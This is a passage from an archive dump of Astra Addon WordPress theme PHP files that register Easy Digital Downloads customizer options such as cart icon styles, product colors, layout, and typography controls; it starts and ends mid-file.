'astra-addon' ), 'priority' => 231, ), /** * Shop Product Price Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-price-color]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'edd-archive-product-price-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'transport' => 'postMessage', 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'price', ), ), 'title' => __( 'Product Price', 'astra-addon' ), 'priority' => 231, ), /** * Shop Product Content Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-content-color]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'edd-archive-product-content-color' ), 'type' => 'control', 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'transport' => 'postMessage', 'title' => __( 'Product Content', 'astra-addon' ), 'priority' => 231, ), ); return array_merge( $configurations, $_configs ); } } } new Astra_Edd_Archive_Colors_Configs(); sections/class-astra-edd-general-configs.php 0000666 00000022260 15165604534 0015133 0 ustar 00 <?php /** * Easy Digital Downloads General Options for our theme. * * @package Astra * @link https://wpastra.com/ * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_General_Configs' ) ) { /** * Register Easy Digital Downloads General Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_General_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Easy Digital Downloads General Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_section = ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? 'section-header-edd-cart' : 'section-edd-general'; $context = ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab; $cart_outline_width_context = ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab_config : astra_addon_builder_helper()->general_tab_config; $_configs = array( /** * Option: Header Cart Icon */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon]', 'default' => astra_get_option( 'edd-header-cart-icon' ), 'type' => 'control', 'section' => $_section, 'title' => __( 'Icon', 'astra-addon' ), 'control' => 'select', 'priority' => 35, 'choices' => array( 'default' => __( 'Default', 'astra-addon' ), 'cart' => __( 'Cart', 'astra-addon' ), 'bag' => __( 'Bag', 'astra-addon' ), 'basket' => __( 'Basket', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->general_tab, ), /** * Option: Cart Count color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-product-count-color]', 'default' => astra_get_option( 'edd-header-cart-product-count-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'transport' => 'postMessage', 'title' => __( 'Count Color', 'astra-addon' ), 'context' => array( Astra_Builder_Helper::$design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon]', 'operator' => '!=', 'value' => 'default', ), ), 'section' => $_section, 'priority' => 45, ), /** * Option: Border Width */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-border-width]', 'default' => astra_get_option( 'edd-header-cart-border-width' ), 'type' => 'control', 'transport' => 'postMessage', 'section' => $_section, 'context' => array( $cart_outline_width_context, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-style]', 'operator' => '==', 'value' => 'outline', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon]', 'operator' => '!=', 'value' => 'default', ), ), 'title' => __( 'Border Width', 'astra-addon' ), 'suffix' => 'px', 'control' => 'ast-slider', 'priority' => 46, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 20, ), ), ); $configurations = array_merge( $configurations, $_configs ); $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-divider]', 'section' => $_section, 'title' => __( 'Header Cart Icon', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 30, 'settings' => array(), 'context' => astra_addon_builder_helper()->general_tab, ), /** * Option: Icon Style */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-style]', 'default' => astra_get_option( 'edd-header-cart-icon-style' ), 'type' => 'control', 'transport' => 'postMessage', 'section' => $_section, 'title' => __( 'Style', 'astra-addon' ), 'control' => 'select', 'priority' => 40, 'choices' => array( 'none' => __( 'None', 'astra-addon' ), 'outline' => __( 'Outline', 'astra-addon' ), 'fill' => __( 'Fill', 'astra-addon' ), ), 'context' => $context, ), /** * Option: Background color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-color]', 'default' => astra_get_option( 'edd-header-cart-icon-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'title' => __( 'Color', 'astra-addon' ), 'transport' => 'postMessage', 'section' => $_section, 'priority' => 45, 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-style]', 'operator' => '!=', 'value' => 'none', ), astra_addon_builder_helper()->design_tab, ), ), /** * Option: Background color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-color]', 'default' => astra_get_option( 'edd-header-cart-icon-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'title' => __( 'Color', 'astra-addon' ), 'transport' => 'postMessage', 'section' => $_section, 'priority' => 45, 'context' => array( $context, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-style]', 'operator' => '!=', 'value' => 'none', ), ), ), /** * Option: Border Radius */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-radius]', 'default' => astra_get_option( 'edd-header-cart-icon-radius' ), 'type' => 'control', 'transport' => 'postMessage', 'section' => $_section, 'title' => __( 'Border Radius', 'astra-addon' ), 'control' => 'ast-slider', 'priority' => 47, 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'suffix' => 'px', 'context' => array( $context, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-header-cart-icon-style]', 'operator' => '!=', 'value' => 'none', ), ), ), /** * Option: Header cart total */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-total-display]', 'default' => astra_get_option( 'edd-header-cart-total-display' ), 'type' => 'control', 'section' => $_section, 'title' => __( 'Display Cart Totals', 'astra-addon' ), 'priority' => 50, 'control' => Astra_Theme_Extension::$switch_control, 'context' => astra_addon_builder_helper()->general_tab, ), /** * Option: Cart Title */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-header-cart-title-display]', 'default' => astra_get_option( 'edd-header-cart-title-display' ), 'type' => 'control', 'section' => $_section, 'title' => __( 'Display Cart Title', 'astra-addon' ), 'priority' => 55, 'control' => Astra_Theme_Extension::$switch_control, 'context' => astra_addon_builder_helper()->general_tab, ), ); if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { $_configs = array( /** * EDD Cart section */ array( 'name' => $_section, 'type' => 'section', 'priority' => 5, 'title' => __( 'EDD Cart', 'astra-addon' ), 'panel' => 'panel-header-builder-group', ), ); } $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_General_Configs(); sections/class-astra-edd-shop-configs.php 0000666 00000024720 15165604534 0014472 0 ustar 00 <?php /** * Shop Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Shop_Configs' ) ) { /** * Register Easy Digital Downloads Shop Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Shop_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Easy Digital Downloads Shop Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Choose Product Style */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-style]', 'default' => astra_get_option( 'edd-archive-style' ), 'type' => 'control', 'section' => 'section-edd-archive', 'title' => __( 'Layout', 'astra-addon' ), 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'priority' => 5, 'divider' => array( 'ast_class' => 'ast-top-section-divider ast-bottom-section-divider' ), 'choices' => array( 'edd-archive-page-grid-style' => array( 'label' => __( 'Grid View', 'astra-addon' ), 'path' => ( class_exists( 'Astra_Builder_UI_Controller' ) ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'shop-grid-view', false ) : '', ), 'edd-archive-page-list-style' => array( 'label' => __( 'List View', 'astra-addon' ), 'path' => ( class_exists( 'Astra_Builder_UI_Controller' ) ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'shop-list-view', false ) : '', ), ), ), /** * Option: EDD Archive Post override-heading to display notice */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'type' => 'control', 'control' => 'ast-sortable', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_multi_choices' ), 'section' => 'section-edd-archive', 'default' => astra_get_option( 'edd-archive-product-structure' ), 'priority' => 30, 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'title' => __( 'Product Structure', 'astra-addon' ), 'description' => __( 'The Image option cannot be sortable if the Product Style is selected to the List Style ', 'astra-addon' ), 'choices' => array( 'image' => __( 'Image', 'astra-addon' ), 'title' => __( 'Title', 'astra-addon' ), 'price' => __( 'Price', 'astra-addon' ), 'short_desc' => __( 'Short Description', 'astra-addon' ), 'add_cart' => __( 'Add To Cart', 'astra-addon' ), 'category' => __( 'Category', 'astra-addon' ), ), ), /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-box-styling-divider]', 'section' => 'section-edd-archive', 'title' => __( 'Product Styling', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 75, 'settings' => array(), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Option: Content Alignment */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-align]', 'default' => astra_get_option( 'edd-archive-product-align' ), 'type' => 'control', 'divider' => array( 'ast_class' => 'ast-section-spacing ast-bottom-section-divider' ), 'transport' => 'postMessage', 'control' => Astra_Theme_Extension::$selector_control, 'section' => 'section-edd-archive', 'priority' => 80, 'title' => __( 'Content Alignment', 'astra-addon' ), 'choices' => array( 'align-left' => 'align-left', 'align-center' => 'align-center', 'align-right' => 'align-right', ), 'responsive' => false, ), /** * Option: Box shadow */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-shadow]', 'default' => astra_get_option( 'edd-archive-product-shadow' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-slider', 'title' => __( 'Box Shadow', 'astra-addon' ), 'section' => 'section-edd-archive', 'suffix' => 'px', 'priority' => 85, 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 5, ), 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider' ), ), /** * Option: Box hover shadow */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-shadow-hover]', 'default' => astra_get_option( 'edd-archive-product-shadow-hover' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-slider', 'title' => __( 'Box Hover Shadow', 'astra-addon' ), 'section' => 'section-edd-archive', 'suffix' => 'px', 'priority' => 90, 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 5, ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), ), /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-button-divider]', 'section' => 'section-edd-archive', 'title' => __( 'Button', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 110, 'settings' => array(), ), /** * Option: Vertical Padding */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-button-v-padding]', 'default' => astra_get_option( 'edd-archive-button-v-padding' ), 'type' => 'control', 'transport' => 'postMessage', 'section' => 'section-edd-archive', 'title' => __( 'Vertical Padding', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), 'control' => 'ast-slider', 'suffix' => 'px', 'priority' => 110, 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 200, ), 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider' ), ), /** * Option: Horizontal Padding */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-button-h-padding]', 'default' => astra_get_option( 'edd-archive-button-h-padding' ), 'type' => 'control', 'transport' => 'postMessage', 'section' => 'section-edd-archive', 'priority' => 110, 'title' => __( 'Horizontal Padding', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), 'control' => 'ast-slider', 'suffix' => 'px', 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 200, ), ), /** * Option: Display Page Title */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-page-title-display]', 'default' => astra_get_option( 'edd-archive-page-title-display' ), 'type' => 'control', 'section' => 'section-edd-archive', 'title' => __( 'Display Page Title', 'astra-addon' ), 'priority' => 29, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'control' => Astra_Theme_Extension::$switch_control, ), /** * Option: EDD Product Title Typography */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-title-typo]', 'default' => astra_get_option( 'edd-archive-product-title-typo' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Product Title Font', 'astra-addon' ), 'section' => 'section-edd-archive', 'transport' => 'postMessage', 'priority' => 233, ), /** * Option: EDD Product Price Typography */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-price-typo]', 'default' => astra_get_option( 'edd-archive-product-price-typo' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Product Price Font', 'astra-addon' ), 'section' => 'section-edd-archive', 'transport' => 'postMessage', 'priority' => 233, ), /** * Option: EDD Product Content Typography */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-content-typo]', 'default' => astra_get_option( 'edd-archive-product-content-typo' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Product Content Font', 'astra-addon' ), 'section' => 'section-edd-archive', 'transport' => 'postMessage', 'context' => array( 'relation' => 'AND', astra_addon_builder_helper()->general_tab_config, array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'category', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'structure', ), ), ), 'priority' => 233, ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_Shop_Configs(); sections/class-astra-edd-single-colors-configs.php 0000666 00000007525 15165604534 0016305 0 ustar 00 <?php /** * Shop Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Single_Colors_Configs' ) ) { /** * Register Easy Digital Downloads Shop Single Color Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Single_Colors_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Easy Digital Downloads Shop Single Color Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-single-product-styling-divider]', 'section' => 'section-edd-single', 'title' => __( 'Product Font & Colors', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 231, 'settings' => array(), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Single Product Title Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-single-product-title-color]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'edd-single-product-title-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'transport' => 'postMessage', 'title' => __( 'Product Title', 'astra-addon' ), 'priority' => 231, ), /** * Single Product Breadcrumb Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-single-product-navigation-color]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'edd-single-product-navigation-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[disable-edd-single-product-nav]', 'operator' => '!=', 'value' => '1', ), ), 'transport' => 'postMessage', 'title' => __( 'Product Navigation', 'astra-addon' ), 'priority' => 231, ), /** * Single Product Content Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-single-product-content-color]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'edd-single-product-content-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'transport' => 'postMessage', 'title' => __( 'Product Content', 'astra-addon' ), 'priority' => 231, 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_Single_Colors_Configs(); sections/class-astra-edd-shop-single-configs.php 0000666 00000005277 15165604534 0015757 0 ustar 00 <?php /** * Shop Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Shop_Single_Configs' ) ) { /** * Register Easy Digital Downloads shop single Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Shop_Single_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Easy Digital Downloads shop single Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Enable Ajax add to cart. */ array( 'name' => ASTRA_THEME_SETTINGS . '[disable-edd-single-product-add-to-cart]', 'default' => astra_get_option( 'disable-edd-single-product-add-to-cart' ), 'type' => 'control', 'section' => 'section-edd-single', 'title' => __( 'Disable Add To Cart Button', 'astra-addon' ), 'priority' => 18, 'control' => Astra_Theme_Extension::$switch_control, ), /** * Option: EDD Product Title Typography */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-single-product-title-typo]', 'default' => astra_get_option( 'edd-single-product-title-typo' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Product Title Font', 'astra-addon' ), 'section' => 'section-edd-single', 'transport' => 'postMessage', 'priority' => 233, ), /** * Option: EDD Product Content Typography */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-single-product-content-typo]', 'default' => astra_get_option( 'edd-single-product-content-typo' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Product Content Font', 'astra-addon' ), 'section' => 'section-edd-single', 'transport' => 'postMessage', 'priority' => 233, ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_Shop_Single_Configs(); sections/class-astra-edd-shop-typo-configs.php 0000666 00000027657 15165604534 0015477 0 ustar 00 <?php /** * Shop Options for our theme. * * @package Astra * @link https://wpastra.com/ * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Shop_Typo_Configs' ) ) { /** * Register Easy Digital Downloads Shop Typo Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Shop_Typo_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Easy Digital Downloads Shop Typo Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Product Title Font Family */ array( 'name' => 'font-family-edd-archive-product-title', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-title-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-family-edd-archive-product-title' ), 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'title' => __( 'Font Family', 'astra-addon' ), 'connect' => ASTRA_THEME_SETTINGS . '[font-weight-edd-archive-product-title]', 'priority' => 3, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), ), /** * Option: Product Title Font Weight */ array( 'name' => 'font-weight-edd-archive-product-title', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-title-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-weight-edd-archive-product-title' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'type' => 'sub-control', 'control' => 'ast-font', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'font_type' => 'ast-font-weight', 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), 'title' => __( 'Font Weight', 'astra-addon' ), 'connect' => 'font-family-edd-archive-product-title', 'priority' => 4, ), /** * Option: Product Title Font Size */ array( 'name' => 'font-size-edd-archive-product-title', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-title-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-size-edd-archive-product-title' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'control' => 'ast-responsive-slider', 'priority' => 4, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), 'title' => __( 'Font Size', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), /** * Option: Product Title Font extras */ array( 'name' => 'font-extras-edd-archive-product-title', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-title-typo]', 'control' => 'ast-font-extras', 'section' => 'section-edd-archive', 'priority' => 5, 'default' => astra_get_option( 'font-extras-edd-archive-product-title' ), ), /** * Option: Product Price Font Family */ array( 'name' => 'font-family-edd-archive-product-price', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-price-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-family-edd-archive-product-price' ), 'type' => 'sub-control', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'price', ), ), 'title' => __( 'Font Family', 'astra-addon' ), 'connect' => ASTRA_THEME_SETTINGS . '[font-weight-edd-archive-product-price]', 'priority' => 9, ), /** * Option: Product Price Font Weight */ array( 'name' => 'font-weight-edd-archive-product-price', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-price-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-weight-edd-archive-product-price' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'type' => 'sub-control', 'control' => 'ast-font', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'font_type' => 'ast-font-weight', 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'price', ), ), 'title' => __( 'Font Weight', 'astra-addon' ), 'connect' => 'font-family-edd-archive-product-price', 'priority' => 10, ), /** * Option: Product Price Font Size */ array( 'name' => 'font-size-edd-archive-product-price', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-price-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-size-edd-archive-product-price' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'control' => 'ast-responsive-slider', 'priority' => 10, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'price', ), ), 'title' => __( 'Font Size', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), /** * Option: Product Font Extras */ array( 'name' => 'font-extras-edd-archive-product-price', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-price-typo]', 'control' => 'ast-font-extras', 'section' => 'section-edd-archive', 'priority' => 10, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'price', ), ), 'default' => astra_get_option( 'font-extras-edd-archive-product-price' ), ), /** * Option: Product Content Font Family */ array( 'name' => 'font-family-edd-archive-product-content', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-content-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-family-edd-archive-product-content' ), 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'title' => __( 'Font Family', 'astra-addon' ), 'connect' => ASTRA_THEME_SETTINGS . '[font-weight-edd-archive-product-content]', 'priority' => 13, ), /** * Option: Product Content Font Weight */ array( 'name' => 'font-weight-edd-archive-product-content', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-content-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-weight-edd-archive-product-content' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'title' => __( 'Font Weight', 'astra-addon' ), 'connect' => 'font-family-edd-archive-product-content', 'priority' => 14, ), /** * Option: Product Content Font Size */ array( 'name' => 'font-size-edd-archive-product-content', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-content-typo]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'font-size-edd-archive-product-content' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'control' => 'ast-responsive-slider', 'priority' => 14, 'title' => __( 'Font Size', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), /** * Option: Product Content Line Height */ array( 'name' => 'font-extras-edd-archive-product-content', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[edd-archive-product-content-typo]', 'control' => 'ast-font-extras', 'section' => 'section-edd-archive', 'priority' => 15, 'default' => astra_get_option( 'font-extras-edd-archive-product-content' ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_Shop_Typo_Configs(); sections/class-astra-edd-checkout-configs.php 0000666 00000010163 15165604534 0015322 0 ustar 00 <?php /** * Shop Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 